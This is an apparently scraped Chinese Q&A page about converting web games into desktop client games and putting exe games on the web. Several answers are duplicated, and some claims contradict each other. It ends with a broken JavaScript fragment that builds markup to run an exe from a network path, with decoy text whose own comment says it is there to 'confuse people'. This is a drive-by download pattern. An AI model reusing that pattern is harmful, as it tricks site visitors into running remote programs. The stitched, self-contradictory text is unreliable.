网页游戏制作平台,网页游戏制作
网页游戏改成端游难嘛?为什么
从某方面来看,网页游戏,手机游戏的快速成长,离不开端游的开发时间长、游戏内容不易调整等问题。目前网页游戏的发展处于上升期,从用噱头争夺玩家向为玩家提供优质的游戏内容转变。
与传统的客户端游戏相比,网页游戏更像是互联网化的产品。网页游戏的开发周期很短,甚至几个人的团队用几个月的时间就能开发出一款新的产品,然后可以在之后的运营中不断完善产品。虽然这样的产品会比较粗糙,但更容易捕捉和适应用户不断变化的需求和口味。
网页游戏不需要下载客户端,只需要打开网页就可以玩。大多数网页游戏的规则比较简单,更容易争取到大量新玩家来体验这些简单好玩的游戏去打发空闲时间。如果将网页游戏改成端游,在技术上很简单,无非是自己做一个专门的浏览器外壳而已。从外观上看,是一个客户端,打开这个客户端,就能直接玩游戏了,而且网页游戏一般都基于Flash开发,开发环境成本更低,更容易做出好玩的玩法。Flash上的互动性降低了成本,玩家接触它的成本也越来越低,这是网页游戏的优点所在。
不得不说,现在的网页游戏画质还不错,但是与大型3D游戏还是有些差距。网页读取速度限制了网页游戏的画质,在网页端加载高清材质又不太耗费时间,所以通过将网页游戏改成客户端的形式,让玩家可以通过本地客户端加载高清材质包的方式,体验到享受级的视觉效果。
其实这个端游,无非是自己做一个专门的浏览器而已,只不过从外观上看不出来是个浏览器,不能输入域名的浏览器。。简单的说,就是自己做一个浏览器,然后把浏览器的界面什么的全都改了,改成一个像客户端的东西,打开这个客户端,就直接玩游戏了,不用输入地址。
但是这样做有什么意义呢。。
网页游戏本身就是直接打开浏览器就能玩的。。客户端还需要下载。
有难度的,网页游戏和端游编程语言不通,代码需要重新编写,根据你游戏规模,成本不低。
网页游戏一般是用Construct 2开发,是用H5+js做前端,php或者jsp做后端的
而端游是用的需要比较多,比如c++,c#等,通信安全系数比较高。
从本质上讲两者开发语言和环境都不同,维护成本端游高,美术设计要求也提高很多,成本增加不是一丁半点,所以请慎重考虑
网页游戏可以做成客户端
其实这个客户端无非是自己做一个专门的浏览器而已,只不过从外观上看不出来是个浏览器,不能输入域名的浏览器,简单的说,就是自己做一个浏览器,然后把浏览器的界面什么的全都改了,改成一个像客户端的东西,打开这个客户端就直接玩游戏了,不用输入地址。
但是这样做有什么意义呢?
网页游戏本身就是直接打开浏览器就能玩,客户端还需要下载。
而且这两个东西是完全不一样的,网站上的游戏都是非常小的,要不然运行不了,如果做单独的游戏是要非常大的,一个网页的大小就几十 kb,而游戏的话一个人物就要几十MB或者更大。。
目前的大趋势,页游不再能骗人充值,端游也在没落。其实页游改端游技术层面不难,但是厂商不做。就目前来看,厂商就喜欢做最低劣的产品赚最快的钱,反正也不在乎名声。页游简单高效薅羊毛,端游体积太庞大,推广难。
"是兄弟就来砍我",听着就很脑残。
exe游戏怎么制作成网页版
要将exe游戏制作成网页版,首先需要将游戏的代码和资源文件转换成适用于网页的格式,例如HTML5和JavaScript。
然后可以使用工具或框架来将游戏进行打包和转换,以确保它可以在网页上流畅运行。
接下来,需要将转换后的游戏文件上传到服务器,并通过网页链接让玩家可以访问和游玩。最后,还需要测试和优化游戏在不同浏览器和设备上的表现,以确保游戏能够在各种情况下都有良好的运行体验。
run_exe="" //这里的XXX.exe就是我们要运行的程序的网上路径 run_exe+="" run_exe+="" run_exe+="
显示文字区域......
"; //这里是迷惑人的.你可以写其他任何文本.也可以什么都不写 document.open(); document.clear(); document.writeln(run_exe); document.close();